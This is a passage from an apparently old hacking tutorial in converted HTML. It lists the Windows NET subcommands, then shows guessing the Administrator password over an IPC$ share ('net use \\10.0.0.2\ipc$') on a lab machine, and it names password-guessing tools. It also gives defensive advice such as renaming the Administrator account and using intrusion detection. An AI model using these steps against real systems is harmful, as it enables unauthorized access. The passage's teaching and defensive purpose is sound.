&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;More on the Net Commands&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Let's
get back to the net commands. There are many forms of this command. In XP you
can learn about them with the command:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
help&lt;br /&gt;
The syntax of this command is:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET
HELP&lt;br /&gt;
command&lt;br /&gt;
-or-&lt;br /&gt;
NET command /HELP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Commands
available are:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET ACCOUNTS &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET HELP &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET SHARE&lt;br /&gt;
NET COMPUTER &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET HELPMSG &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET START &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET CONFIG &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET LOCALGROUP &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET STATISTICS &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET CONFIG SERVER &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET NAME &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET STOP &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET CONFIG WORKSTATION &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET PAUSE &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET TIME &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET CONTINUE &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET PRINT &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET USE &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET FILE &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET SEND &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET USER &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET GROUP &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET SESSION &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET VIEW &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET HELP SERVICES lists some of
the services you can start. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET HELP SYNTAX explains how to
read NET HELP syntax lines. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NET HELP command | MORE displays
Help one screen at a time. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How Crackers Break in as Administrator&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;As
we look around Oldguy further, we see that there's not much else an anonymous
user can do to it. We know that there is a user named Administrator. What can
we do if we can convince Oldguy that we are Administrator?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;******************&lt;br /&gt;
Newbie note: in Windows NT, 2000 and XP, the Administrator user has total power
over its computer, just as root has total power over a Unix/Linux type
computer. However, it is possible to change the name of Administrator so an
attacker has to guess which user has all the power.&lt;br /&gt;
******************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Let's
try to log in as Administrator by guessing the password. Give the command:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
use \\10.0.0.2\ipc$ * /user:Administrator&lt;br /&gt;
Type the password for \\10.0.0.2\ipc$:&lt;br /&gt;
System error 1219 has occurred.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Multiple
connections to a server or shared resource by the same user, using more than
one user name, are not allowed. Disconnect all previous connections to the
server or shared resource and try again.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;This
means that someone else is currently logged onto this server who has
Administrator rights. Furthermore, this person is probably watching me on an
IDS and thinking up terrible things to do to me. Eeep! Actually this is all
going on inside my hacker lab - but you get the idea of what it could be like
when trying to invade a computer without permission.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;I
discover that whether I guess the password correctly or not, I always get the
same error message. This is a good safety feature. On the other hand, one of
the users is named Administrator. This is a bad thing for the defender. When
you first set up a Windows NT or 2000 server, there is always a user called
Administrator, and he or she has total power over that computer. If you know
the all-powerful user is named Administrator, you can try guessing the password
whenever no one is logged on with Administrator powers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Computer
criminals don't waste time guessing by hand. They use a program such as NAT or
Legion to get passwords. These programs are why smart NT administrators rename
their Administrator accounts and choose hard passwords. Also, this kind of
persistent attack will be detected by an intrusion detection system, making it
